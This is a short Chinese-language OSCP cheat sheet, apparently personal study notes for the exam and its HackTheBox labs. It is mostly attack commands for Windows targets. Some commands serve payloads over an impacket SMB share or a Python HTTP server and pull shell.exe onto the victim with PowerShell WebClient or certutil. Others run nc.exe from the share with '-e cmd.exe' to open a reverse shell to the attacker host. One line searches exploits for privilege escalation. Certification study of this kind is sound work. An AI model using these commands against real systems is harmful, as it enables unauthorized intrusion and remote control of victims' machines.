OSCP CheatSheet (持續更新)

Windows 傳送檔案

 

smbserver:

  • 開啟:
  • python2 /usr/share/doc/python3-impacket/examples/smbserver.py share /root/Desktop/HTB/Bastard
  • impacket-smbserver share .
  • 丟檔案過去windows
  • copy \\10.10.14.5\share\shell.exe . //複製shell.exe放置本地
  • //10.10.14.5\share\nc.exe 10.10.14.5 6666 -e cmd.exe //執行10.10.14.5上的nc.exe，發起連線至10.10.10.5 6666端口

powershell:

  • 丟檔案過去windows
  • python2 -m SimpleHTTPServer 8888 //攻擊機執行
  • powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.6:8888/shell.exe’, ‘c:\Users\Public\Downloads\shell.exe’)” //受害機上執行

certutil.exe:

  • python2 -m SimpleHTTPServer 8888 //攻擊機執行
  • certutil.exe -urlcache -split -f http://10.10.14.5:8888/shell.exe shell.exe //受害機上執行

 

Windows 提權

 

  • searchsploit Windows Server 2003 | grep -i priv –color

Windows NC.exe

  • nc發起連線至linux
  • impacket-smbserver share /usr/share/windows-resources/binaries/
  • //10.10.14.5\share\nc.exe 10.10.14.5 6666 -e cmd.exe